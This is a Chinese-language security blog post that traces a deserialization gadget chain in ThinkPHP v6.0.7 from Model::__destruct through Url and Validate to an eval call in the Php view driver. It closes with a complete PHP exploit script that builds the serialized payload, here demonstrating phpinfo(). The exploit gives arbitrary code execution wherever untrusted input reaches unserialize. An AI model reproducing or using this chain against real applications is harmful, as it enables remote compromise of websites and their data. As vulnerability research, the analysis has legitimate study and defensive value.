ThinkPHP安全: v6.0.7 eval反序列化利用链

2021年4月1日14:20:07 发表评论 101 views

0x00 前言

最近分析了不少的 ThinkPHP v6.0.x 反序列化链条,发现还蛮有意思的,但美中不足的是无法拥有直接调用形如 eval 的能力。于是就自己就在最新的(目前是 ThinkPHP v6.0.7)版本上基于原有的反序列化链,再挖了一条能够执行 eval 的。


0X01 利用条件

  • 存在一个完全可控的反序列化点。

0x02 环境配置

直接使用 composer 安装 V6.0.7 版本的即可。

-> composer create-project topthink/think=6.0.7 tp607
-> cd tp607
-> php think run

修改入口 app/controller/Index.php 内容,创造一个可控反序列化点:

ThinkPHP安全: v6.0.7 eval反序列化利用链

0x03 链条分析

这里还是由 ThinkPHP v6.0.x 的入口进入。

在 Model 类 (vendor/topthink/think-orm/src/Model.php) 存在一个 __destuct 魔法方法。当然 Model 这玩意是个抽象类,得从它的 继承类 入手,也就是 Pivot 类 (vendor/topthink/tink-orm/src/model/Pivot.php ) 。

abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
    /**
     * ......
     */

    public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }
}

class Pivot extends Model
{
    /**
    * ......
    */
}

我们先让 $this->lazySave = true ,从而跟进 $this->save() 方法。

// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

public function save(array $data = [], string $sequence = null): bool
{
        // 数据对象赋值
    $this->setAttrs($data);

    if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {

        return false;

    }
    $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

     /**
     * ......
     */

}

其中 $this->setAttrs($data) 这个语句无伤大雅,跟进去可以发现甚至可以说啥事也没做。

// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

public function setAttrs(array $data): void
{
        // 进行数据处理
    foreach ($data as $key => $value) {
        $this->setAttr($key, $value, $data);
    }
}

那么我们这里还需要依次绕过 if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) 中的两个条件。跟进 $this->isEmpty() 以及 $this->trigger('BeforeWrite') ,我们发现 $this->data 要求不为 null ,且 $this->withEvent == true 。

// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

public function isEmpty(): bool
{
    return empty($this->data);
}

// trait ModelEvent{}

protected function trigger(string $event): bool
{
    if (!$this->withEvent) {
        return true;
    }

    /**
    * ......
    */

}

此时, $this->isEmpty() 返回 false ,$this->trigger('BeforeWrite') 返回 true 。我们顺利进入下一步 $result = $this->exists ? $this->updateData() : $this->insertData($sequence); 。我们在上边可以发现$this->exists 的默认值为 false ,不妨直接跟进 $this->insertData($sequence) ,其中 sequence = null

// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

protected $exists = false;

protected function insertData(string $sequence = null): bool
{
    if (false === $this->trigger('BeforeInsert')) {
        return false;
    }

    $this->checkData();
    $data = $this->writeDataType($this->data);

    // 时间戳自动写入
    if ($this->autoWriteTimestamp) {
        /**
        * ......
        */
    }
    // 检查允许字段
    $allowFields = $this->checkAllowFields();

    /**
    * ......
    */

}

显然,$this->trigger('BeforeInsert') 的值在上边已经被我们构造成了 true 了,这里继续跟进 $this->checkData() 以及 $data = $this->writeDataType($this->data) 。$this->checkData() 直接可以略过,而传入 $this->writeDataType() 的参数 $this->data 在上边已经被我们构造成一个 非null 的值,这里不妨将其构造成 [7] ,由于 $this->type 的值默认为 [] ,这里的遍历是没有影响的。

trait Attribute
{
    protected $type = [];
}

// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
protected function checkData(): void
{
}

protected function writeDataType(array $data): array
{
    foreach ($data as $name => &$value) {
        if (isset($this->type[$name])) {
            // 类型转换
            $value = $this->writeTransform($value, $this->type[$name]);
        }
    }
    return $data;
}

至于 $this->autoWriteTimestamp 的默认值是没有的,相当于 null ,这里直接用 弱类型比较 直接略过。

trait TimeStamp
{
    protected $autoWriteTimestamp;
}

此时,我们来到 $allowFields = $this->checkAllowFields() ,其中 $this->field 和 $this->schema 的默认值都为 [] ,因而可以直接来到 else{

trait Attribute
{
    protected $schema = [];
    protected $field = [];
}

// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

protected function checkAllowFields(): array
{
    // 检测字段
    if (empty($this->field)) {
        if (!empty($this->schema)) {
            $this->field = array_keys(array_merge($this->schema, $this->jsonType));
        } else {
            $query = $this->db();
            $table = $this->table ? $this->table . $this->suffix : $query->getTable();
            $this->field = $query->getConnection()->getTableFields($table);
        }
        return $this->field;
    }

    /**
    * ......
    */

}

那么,继续跟进 $this->db ,来到了 关键点 ,第一句 $query = ... 可以直接跳过,而在 $query->table($this->table . $this->suffix) 这里存在熟悉的字符拼接。这样只需要让 $this->table 或 $this->suffix 为一个  就可以触发那个  的 __toString 魔法方法了。

// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}

public function db($scope = []): Query
{
    /** @var Query $query */
    $query = self::$db->connect($this->connection)->name($this->name . $this->suffix)->pk($this->pk);
    if (!empty($this->table)) {
        $query->table($this->table . $this->suffix);
    }

    /**
    * ......
    */

}

简单总结一下,要触发 __toString 需要构造:

  • $this->lazySave = true
  • $this->data = [7]
  • $this->withEvent = true

至于 __toSring 魔法方法的类,我们这里选择 Url 类 (vendor/topthink/framework/src/think/route/Url.php) ,首先第一个条件 if (0 === strpos($url, '[') && $pos = strpos($url, ']')) 需要绕过,第二个条件 if (false === strpos($url, '://') && 0 !== strpos($url, '/')) 需要满足最上部分,并使得 $url 的值为 ''

class Url
{

    public function __toString()
    {

        return $this->build();
    }

    public function build()
    {
        // 解析URL
        $url     = $this->url;
        $suffix  = $this->suffix;
        $domain  = $this->domain;
        $request = $this->app->request;
        $vars    = $this->vars;

        if (0 === strpos($url, '[') && $pos = strpos($url, ']')) {
            // [name] 表示使用路由命名标识生成URL
            $name = substr($url, 1, $pos - 1);
            $url  = 'name' . substr($url, $pos + 1);
        }

        if (false === strpos($url, '://') && 0 !== strpos($url, '/')) {
            $info = parse_url($url);
            $url  = !empty($info['path']) ? $info['path'] : '';

            if (isset($info['fragment'])) {
                // 解析锚点
                $anchor = $info['fragment'];
                if (false !== strpos($anchor, '?')) {
                    // 解析参数
                    [$anchor, $info['query']] = explode('?', $anchor, 2);
                }
                if (false !== strpos($anchor, '@')) {
                    // 解析域名
                    [$anchor, $domain] = explode('@', $anchor, 2);
                }
            } elseif (strpos($url, '@') && false === strpos($url, '\\')) {
                // 解析域名
                [$url, $domain] = explode('@', $url, 2);
            }
        }

        if ($url) { 

             /**
            * ......
            */

            $rule = $this->route->getName($checkName, $checkDomain);

            /**
            * ......
            */

        }

        if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) {
            // 匹配路由命名标识
            $url = $match[0];

            if ($domain && !empty($match[1])) {
                $domain = $match[1];
            }

            if (!is_null($match[2])) {
                $suffix = $match[2];
            }
        } elseif (!empty($rule) && isset($name)) {
            throw new \InvalidArgumentException('route name not exists:' . $name);
        } else {
            // 检测URL绑定
            $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
             /**
            * ......
            */
        }

         /**
        * ......
        */
    }
}

我们先让让 $this->url 构造成 a: ,此时 $url 的值也就为 '',后边的各种条件也不会成立,可以直接跳过 。

然后再看 if($url) ,由于 弱类型 比较直接略过。

此时由于 $rule 是在 if($url){ 条件内被赋值,那么 if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) 以及 elseif (!empty($rule) && isset($name)) 这两个也不会成立,直接略过。

此时,我们来到 else{ 内,其中 $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null) 这个代码为点睛之笔。显然,$this->route 是可控的,$domain 变量的值实际上就是 $this->domain ,也是一个可控的字符型变量,我们现在就能得到了一个 [可控类] -> getDomainBind([可控字符串]) 的调用形式。

总结来说,满足该调用形式需要构造:

  • $this->url = 'a:'
  • $this->app = 给个public的request属性的任意类

然后全局搜索 __call 魔法方法,在 Validate 类 (vendor/topthink/framework/src/think/Validate.php) 中存在一个可以称为 “简直为此量身定做” 的形式。

// class Str{}

public static function studly(string $value): string
{
    $key = $value;
    if (isset(static::$studlyCache[$key])) {
        return static::$studlyCache[$key];
    }
    $value = ucwords(str_replace(['-', '_'], ' ', $value));
    return static::$studlyCache[$key] = str_replace(' ', '', $value);
}

public static function camel(string $value): string
{
    if (isset(static::$camelCache[$value])) {
        return static::$camelCache[$value];
    }
    return static::$camelCache[$value] = lcfirst(static::studly($value));
}

// class Validate{}

class Validate
{
    public function is($value, string $rule, array $data = []): bool
    {
        switch (Str::camel($rule)) {
            case 'require':
                // 必须
                $result = !empty($value) || '0' == $value;
                break;
            /**
            * ......
            */
                break;
            case 'token':
                $result = $this->token($value, '__token__', $data);
                break;
            default:
                if (isset($this->type[$rule])) {
                    // 注册的验证规则
                    $result = call_user_func_array($this->type[$rule], [$value]);
                } elseif (function_exists('ctype_' . $rule)) {
                    /**
                    * ......
                    */
        }

        return $result;
    }

    public function __call($method, $args)
    {
        if ('is' == strtolower(substr($method, 0, 2))) {
            $method = substr($method, 2);
        }

        array_push($args, lcfirst($method));

        return call_user_func_array([$this, 'is'], $args);
    }
}

这里先从 __call 看起,显然在调用 call_user_func_array 函数时,相当于 $this->is([$domain,'getDomainBind']) ,其中 $domain 是可控的。

跟进 $this->is 方法, $rule 变量的值即为 getDomainBind, Str::camel($rule) 的意思实际上是将 $rule = 'getDomainBind' 的 - 和 _ 替换成 '' , 并将每个单词首字母大写存入 static::$studlyCache['getDomainBind'] 中,然后回头先将首字母小写后赋值给 camel 方法的 static::$cameCache['getDomainBind'] ,即返回值为 getDomainBind 。

由于 switch{ 没有一个符合 getDomainBind 的 case 值,我们可以直接看 default 的内容。 $this->type[$rule] 相当于 $this->type['getDomainBind'] ,是可控的,而 $value 值即是上边的 $domain 也是可控的,我们现在就能得到了一个 call_user_func_array([可控变量],[[可控变量]]) 的形式了。

实际上现在也就可以进行传入 单参数 的函数调用,可这并不够!!!我们来到 Php 类 (vendor/topthink/framework/src/think/view/driver/Php.php) 中,这里存在一个调用 eval 的且可传 单参数 的方法 display 。

class Php implements TemplateHandlerInterface
{
    public function display(string $content, array $data = []): void
    {
        $this->content = $content;
        extract($data, EXTR_OVERWRITE);
        eval('?>' . $this->content);
    }

}

假若用上边的 call_user_func_array([可控变量],[[可控变量]]) 形式,构造出 call_user_func_array(['Php类','display'],['<?php (任意代码) ?>']) 即可执行 eval 了。

总的来说,我们只需要构造如下:

  • $this->type = ["getDomainBind" => [Php类,'display']]

就可以了。

0x04 简单示图

  • 构造并触发 __toString :

ThinkPHP安全: v6.0.7 eval反序列化利用链

  • 构造 [可控类] -> getDomainBind([可控字符串]) 进入 __call

ThinkPHP安全: v6.0.7 eval反序列化利用链

  • 构造 call_user_func_array([可控变量],[[可控变量]]) 执行 eval

ThinkPHP安全: v6.0.7 eval反序列化利用链

0x05 EXP

<?php
namespace think\model\concern{
    trait Attribute{
        private $data = [7];
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think{
    abstract class Model{
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        protected $table;
        function __construct($cmd){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->table = new route\Url(new Middleware,new Validate,$cmd);
        }
    }
    class Middleware{
        public $request = 2333;
    }
    class Validate{
        protected $type;
        function __construct(){
             $this->type = [
                "getDomainBind" => [new view\driver\Php,'display']
            ];
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{} 
}

namespace think\route{
    class Url
    {
        protected $url = 'a:';
        protected $domain;
        protected $app;
        protected $route;
        function __construct($app,$route,$cmd){
            $this->domain = $cmd;
            $this->app = $app;
            $this->route = $route;
        }
    }
}

namespace{
    echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>')));
}

利用结果:

ThinkPHP安全: v6.0.7 eval反序列化利用链

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: